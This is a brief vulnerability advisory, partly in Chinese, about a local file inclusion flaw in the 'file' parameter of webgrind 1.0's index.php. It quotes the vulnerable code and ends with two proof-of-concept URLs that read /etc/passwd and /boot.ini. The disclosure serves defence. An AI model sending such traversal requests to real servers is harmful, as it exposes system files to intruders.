标题：webgrind 1.0 (file param) Local File Inclusion Vulnerability
作者: Joakim Nygard and Jacob Oettinger
开发者: http://code.google.com/p/webgrind
影响版本: 1.0 (v1.02 in trunk on github)
摘要:
Webgrind is an Xdebug profiling web frontend in PHP5.
Desc: webgrind suffers from a file inlcusion vulnerability (LFI)
when input passed thru the 'file' parameter to index.php is not
properly verified before being used to include files. This can be
exploited to include files from local resources with directory
traversal attacks and URL encoded NULL bytes.
----------------------------------------
/index.php:
-----------
122: case 'fileviewer':
123:     $file = get('file');
124:     $line = get('line');
----------------------------------------
测试平台: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.21
           PHP 5.3.9
           MySQL 5.5.20
缺陷发现者： Michael Meyer
                            michael.meyer greenbone net

---
 http://www.2cto.com /webgrind/index.php?file=/etc/passwd&op=fileviewer
 http://www.2cto.com /webgrind/index.php?file=/boot.ini&op=fileviewer


修复：
请参考本站www.2cto.com前文